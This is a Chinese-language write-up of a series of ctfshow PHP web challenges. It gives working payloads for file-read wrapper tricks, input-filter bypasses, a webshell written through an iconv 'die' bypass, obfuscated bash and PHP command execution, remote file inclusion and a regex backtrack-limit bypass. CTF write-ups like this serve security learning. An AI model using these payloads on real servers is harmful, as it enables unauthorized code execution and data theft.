考察点:php超全局变量$GLOBALS的使用
介绍
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。举个例子
$a=123; $b=456; var_dump($GLOBALS);返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。
["a"]=> int(123) ["b"]=> int(456)所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出. payload: ?v1=ctfshow&v2=GLOBALS
考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用
函数介绍
is_file — 判断给定文件名是否为一个正常的文件 is_file ( string $filename ) : bool我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。 可以直接用不带任何过滤器的filter伪协议 payload:file=php://filter/resource=flag.php 也可以用一些没有过滤掉的编码方式和转换方式 payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php file=compress.zlib://flag.php payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php 还有一些其他的,可以参考php文档
112中提到的 comporess.zlib//flag.php可以过 当然这不是预期解 预期解payload:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容 多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。
留了个filter就不多说了。 payload:file=php://filter/resource=flag.php
考察点:trim函数的绕过+is_numeric绕过
函数介绍
语法 trim(string,charlist) 参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符: "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格做个简单的小测试
for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20 再来看看 trim+is_numeric
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。 payload:num=%0c36
下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。 是一个文件包含。 如下图所示 过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。 payload:file=flag.php
考察点:绕过死亡die 题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的 更多编码方式 这是取一个 UCS-2LE UCS-2BE
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?这种是将字符两位两位进行交换 大家可以自行测试如下代码
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?'); 输出如下,使得die失效,并且我们的一句话木马可以使用 ?<hp pid(e;)>?<?php eval($_POST[1]);?>该部分题目是我在月饼杯web3的基础上不断增加过滤演变而成的。属于命令执行部分,因为顺序的原因我们就在此进行讲解了。
118 在原来过滤的基础上增加了数字的过滤。 linux中存在的大量的内置变量 具体的可参考其他师傅写的文章
月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php 所有我们现在想到简易一点的方法就是得到一个n一个l 发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l 在linux中可以用~获取变量的最后几位而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
payload: code=${PATH:~A}${PWD:~A} ????.???
119、120 在118的基础上增加了 PATH、BASH、HOME的过滤
这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php /???4 ???.??? 如果可以构造出来/和4不就可以了吗 在linux中可以用 ${#var}显示var变量的长度
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了 我们发现${#RANDOM}可以实现 数字1可以用$SHIVL
payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
121
if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } }在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM 所以我们只需研究上一个payload的替换值即可。 过滤了SHLVL,这时可以考虑用 $?替代
$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。其他的不需要改变 payload: code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
122 增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。 这时候就需要强大的$?了
$? 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)
出现4的几率虽然小,但是是有可能的,不断刷新即可 payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
第一个难搞的地方isset($_POST['CTF_SHOW.COM'])因为php变量命名是不允许使用点号的 可以测试一下
<?php var_dump($_POST); 输入 CTF_SHOW.COM=1 返回 array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }那么既然题目是可以有方法通过的,我们就来个暴力的方式 下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0
<?php function curl($url,$data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); curl_close($ch); return strlen($response); } $url="http://127.0.0.1/test.php"; for ($i=0; $i <=128 ; $i++) { for ($j=0; $j <=128 ; $j++) { $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123"; if(curl($url,$data)!=0){ echo $data."\n"; } } }其中test.php中的内容
<?php if(isset($_POST['CTF_SHOW.COM'])){ echo 123; }输出结果 CTF%5BSHOW.COM=123 具体的原理尚不清楚 另外一个知识点
1、cli模式(命令行)下 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数 2、web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING'] 这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。
payload: get: $fl0g=flag_give_me; post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])再来几个非预期
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以问了下出题人,这个题的预期解是
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])我自己本地测试了下
<?php $a=$_SERVER['argv']; var_dump($a); 传入 a=1+fl0g=flag_give_me 结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }有大佬啃了下php的c源码总结如下
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。
这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。 我们来看下具体的函数
base_convert(number,frombase,tobase); 参数 描述 number 必需。规定要转换的数。 frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 bindec — 二进制转换为十进制 bindec ( string $binary_string ) : number decbin — 十进制转换为二进制 decbin ( int $number ) : string dechex — 十进制转换为十六进制 dechex ( int $number ) : string decoct — 十进制转换为八进制 decoct ( int $number ) : string hexdec — 十六进制转换为十进制 hexdec ( int $number ) : string在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。 假设我们要构造出如下表达式 c=$_GET[a]($_GET[b])&a=system&b=cat flag 我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。 那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。 我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
echo base_convert('hex2bin', 36, 10); 结果 37907361743 echo hexdec(bin2hex("_GET")); 结果 1598506324现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin base_convert('37907361743',10,36)(dechex('1598506324')); _GET c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*我们再把_GET进行替换
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*考点有点和123重复 跑了一下0-128
<?php function curl($url){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); return strlen($result); } for ($i=0; $i < 128; $i++) { $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1"; if(curl($url)!==0){ echo urlencode(chr($i))."\n"; } }flag.php
<?php if(isset($_GET['ctf_show'])){ echo 123; }发现以下字符等同于ctf_show
+ _ [ . + 这里的加号在url中起到空格的作用除去他过滤掉的 _ . [ 我们发现我们还可以用空格实现
payload:ctf show=ilove36d
考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
<?php echo gettext("phpinfo"); 结果 phpinfo echo _("phpinfo"); 结果 phpinfo所以 call_user_func('_','phpinfo') 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。payload:f1=_&f2=get_defined_vars
函数介绍
stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)。一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。 例如 f=http://url/xxx.txt?ctfshow 其中xxx.txt为一句话
要是没有服务器的话,我们也可以用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php filter伪协议支持多种编码方式,无效的就被忽略掉了。
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。 python脚本如下
import requests url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)非预期解
利用数组 f[]=ctfshow